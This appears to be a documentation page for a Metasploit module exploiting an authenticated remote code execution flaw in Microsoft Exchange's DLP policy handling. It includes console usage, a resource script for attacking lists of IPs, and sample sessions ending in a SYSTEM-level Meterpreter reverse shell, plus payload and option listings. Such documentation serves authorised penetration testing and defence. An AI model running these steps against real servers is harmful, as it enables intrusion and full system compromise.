Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE - Metasploit
This page contains detailed information about how to use the exploit/windows/http/exchange_ecp_dlp_policy metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE
Module: exploit/windows/http/exchange_ecp_dlp_policy
Source code: modules/exploits/windows/http/exchange_ecp_dlp_policy.rb
Disclosure date: 2021-01-12
Last modification time: 2021-04-29 21:26:02 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-16875, CVE-2020-17132
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. Additionally, the target user must have the "Data Loss Prevention" role assigned and an active mailbox. If the user is in the "Compliance Management" or greater "Organization Management" role groups, then they have the "Data Loss Prevention" role. Since the user who installed Exchange is in the "Organization Management" role group, they transitively have the "Data Loss Prevention" role. The specific flaw exists within the processing of the New-DlpPolicy cmdlet. The issue results from the lack of proper validation of user-supplied template data when creating a DLP policy. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Tested against Exchange Server 2016 CU19 on Windows Server 2016.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- account-lockouts: Module may cause account lockouts (likely due to brute-forcing).
- config-changes: Module modifies some configuration setting on the target machine.
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Using exchange_ecp_dlp_policy against a single host
Normally, you can use exploit/windows/http/exchange_ecp_dlp_policy this way:
msf > use exploit/windows/http/exchange_ecp_dlp_policy
msf exploit(exchange_ecp_dlp_policy) > show targets
... a list of targets ...
msf exploit(exchange_ecp_dlp_policy) > set TARGET target-id
msf exploit(exchange_ecp_dlp_policy) > show options
... show and set options ...
msf exploit(exchange_ecp_dlp_policy) > exploit
Using exchange_ecp_dlp_policy against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your exchange_ecp_dlp_policy will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/http/exchange_ecp_dlp_policy")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Description
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exchange Server.
Authentication is required to exploit this vulnerability. Additionally, the target user must have the Data Loss
Prevention
role assigned and an active mailbox.
If the user is in the Compliance Management
or greater Organization Management
role groups, then they have the Data
Loss Prevention
role. Since the user who installed Exchange is in the Organization Management
role group, they
transitively have the Data Loss Prevention
role.
The specific flaw exists within the processing of the New-DlpPolicy
cmdlet. The issue results from the lack of proper
validation of user-supplied template data when creating a DLP policy. An attacker can leverage this vulnerability to
execute code in the context of SYSTEM
.
Tested against Exchange Server 2016 CU19 on Windows Server 2016.
A Note On Patches And Bypasses
The root cause of this vulnerability was first identified and reported to Microsoft who assigned it CVE-2020-16875 and attempted to fix it in Exchange Server 2016 Cumulative Update (CU) 18 and Exchange Server 2019 CU7 which were released on September 15th, 2020. The patch was later able to be bypassed, allowing newer versions upto and including Exchange Server 2016 CU19 and Exchange Server 2019 CU8 which were released on December 15th 2020. One of the first patch bypasses was assigned CVE-2020-17132 and was addressed by Microsoft, however that patch too was able to be bypassed.
Setup
Set up a vulnerable target.
Verification Steps
Targets
0
Exchange Server <= 2016 CU19 and 2019 CU8
Options
USERNAME
Set this to the OWA username.
PASSWORD
Set this to the OWA password.
Scenarios
Exchange Server 2016 CU17 on Windows Server 2016
msf6 > use exploit/windows/http/exchange_ecp_dlp_policy
[*] Using configured payload windows/x64/meterpreter/reverse_https
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set USERNAME smcintyre
USERNAME => smcintyre
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set PASSWORD Password1
PASSWORD => Password1
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set VHOST WIN-BPID95ACQ7E
VHOST => WIN-BPID95ACQ7E
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > show options
Module options (exploit/windows/http/exchange_ecp_dlp_policy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD Password1 no OWA password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.42 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
USERNAME smcintyre no OWA username
VHOST WIN-BPID95ACQ7E no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.159.128 yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Exchange Server <= 2016 CU19 and 2019 CU8
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > check
[*] 192.168.159.42:443 - The target appears to be vulnerable. Exchange Server 15.1.2176 is a vulnerable build.
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > exploit
[*] Started HTTPS reverse handler on https://192.168.159.128:8443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Exchange Server 15.1.2176 is a vulnerable build.
[*] Logging in to OWA with creds smcintyre:Password1
[+] Successfully logged in to OWA
[*] Retrieving ViewState from DLP policy creation page
[+] Successfully retrieved ViewState
[*] Creating custom DLP policy from malicious template
[*] https://192.168.159.128:8443 handling request from 192.168.159.42; (UUID: lg8kqsog) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.159.128:8443 -> 192.168.159.42:37415) at 2021-01-13 09:17:08 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-BPID95ACQ7E
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : EXCHG
Logged On Users : 9
Meterpreter : x64/windows
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the windows/http/exchange_ecp_dlp_policy exploit module looks in the msfconsole:
msf6 > use exploit/windows/http/exchange_ecp_dlp_policy
[*] Using configured payload windows/x64/meterpreter/reverse_https
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > show info
Name: Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE
Module: exploit/windows/http/exchange_ecp_dlp_policy
Platform: Windows
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2021-01-12
Provided by:
Leonard Rapp
Markus Vervier
Steven Seeley
Yasar Klawohn
wvu <[email protected]>
Spencer McIntyre
Module side effects:
ioc-in-logs
account-lockouts
config-changes
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Exchange Server <= 2016 CU19 and 2019 CU8
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no OWA password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
USERNAME no OWA username
VHOST no HTTP server virtual host
Payload information:
Description:
This vulnerability allows remote attackers to execute arbitrary code
on affected installations of Exchange Server. Authentication is
required to exploit this vulnerability. Additionally, the target
user must have the "Data Loss Prevention" role assigned and an
active mailbox. If the user is in the "Compliance Management" or
greater "Organization Management" role groups, then they have the
"Data Loss Prevention" role. Since the user who installed Exchange
is in the "Organization Management" role group, they transitively
have the "Data Loss Prevention" role. The specific flaw exists
within the processing of the New-DlpPolicy cmdlet. The issue results
from the lack of proper validation of user-supplied template data
when creating a DLP policy. An attacker can leverage this
vulnerability to execute code in the context of SYSTEM. Tested
against Exchange Server 2016 CU19 on Windows Server 2016.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-16875
https://nvd.nist.gov/vuln/detail/CVE-2020-17132
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875
https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016
https://srcincite.io/advisories/src-2020-0019/
https://srcincite.io/pocs/cve-2020-16875.py.txt
https://srcincite.io/pocs/cve-2020-16875.ps1.txt
https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html
https://www.x41-dsec.de/security/advisory/exploit/research/2020/12/21/x41-microsoft-exchange-rce-dlp-bypass/
Module Options
This is a complete list of options available in the windows/http/exchange_ecp_dlp_policy exploit:
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > show options
Module options (exploit/windows/http/exchange_ecp_dlp_policy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no OWA password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
USERNAME no OWA username
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Exchange Server <= 2016 CU19 and 2019 CU8
Advanced Options
Here is a complete list of advanced options supported by the windows/http/exchange_ecp_dlp_policy exploit:
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > show advanced
Module advanced options (exploit/windows/http/exchange_ecp_dlp_policy):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout 5 no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2
)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpProxyHost no An optional proxy server IP address or hostname
HttpProxyPass no An optional proxy server password Max parameter length: 63 characters
HttpProxyPort no An optional proxy server port
HttpProxyType HTTP yes The type of HTTP proxy (Accepted: HTTP, SOCKS)
HttpProxyUser no An optional proxy server username Max parameter length: 63 characters
HttpReferer no An optional value to use for the Referer HTTP header
HttpServerName Apache no The server header that the handler will send in response to requests
HttpUnknownRequestResponse <html><body><h1>It works!</h1></body></html> no The returned HTML response body when the handler receives a request that is not from a payload
HttpUserAgent Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko no The user-agent that the payload should use for communication Max parameter length: 255 characters
IgnoreUnknownPayloads false no Whether to drop connections from payloads using unknown UUIDs
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
OverrideLHOST no When OverrideRequestHost is set, use this value as the host name for secondary requests
OverrideLPORT no When OverrideRequestHost is set, use this value as the port number for secondary requests
OverrideRequestHost false no Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
OverrideScheme no When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
StagerURILength no The URI length for the stager (at least 5 bytes)
StagerVerifySSLCert false no Whether to verify the SSL certificate in Meterpreter
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/http/exchange_ecp_dlp_policy module can exploit:
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > show targets
Exploit targets:
Id Name
-- ----
0 Exchange Server <= 2016 CU19 and 2019 CU8
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/exchange_ecp_dlp_policy exploit:
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/adduser normal No Windows Execute net user /ADD
6 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
7 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
8 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
9 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
10 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
11 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
12 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
13 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
14 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
15 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
16 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
17 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
18 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
19 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
20 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
21 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
22 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
23 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
24 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
25 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
26 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
27 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
28 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
29 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
30 payload/windows/exec normal No Windows Execute Command
31 payload/windows/format_all_drives manual No Windows Drive Formatter
32 payload/windows/loadlibrary normal No Windows LoadLibrary Path
33 payload/windows/messagebox normal No Windows MessageBox
34 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
35 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
36 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
37 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
38 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
39 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
40 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
41 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
42 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
43 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
44 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
45 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
46 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
47 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
48 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
49 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
50 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
51 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
52 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
53 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
54 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
55 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
56 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
57 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
58 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
59 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
60 payload/windows/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline
61 payload/windows/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline
62 payload/windows/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline
63 payload/windows/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline
64 payload/windows/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
65 payload/windows/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline
66 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
67 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
68 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
69 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
70 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
71 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
72 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
73 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
74 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
75 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
76 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
77 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
78 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
79 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
80 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
81 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
82 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
83 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
84 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
85 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
86 payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
87 payload/windows/patchupmeterpreter/bind_hidden_tcp normal No Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
88 payload/windows/patchupmeterpreter/bind_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
89 payload/windows/patchupmeterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
90 payload/windows/patchupmeterpreter/bind_named_pipe normal No Windows Meterpreter (skape/jt Injection), Windows x86 Bind Named Pipe Stager
91 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
92 payload/windows/patchupmeterpreter/bind_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (Windows x86)
93 payload/windows/patchupmeterpreter/bind_tcp_rc4 normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
94 payload/windows/patchupmeterpreter/bind_tcp_uuid normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager with UUID Support (Windows x86)
95 payload/windows/patchupmeterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (IPv6)
96 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
97 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
98 payload/windows/patchupmeterpreter/reverse_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
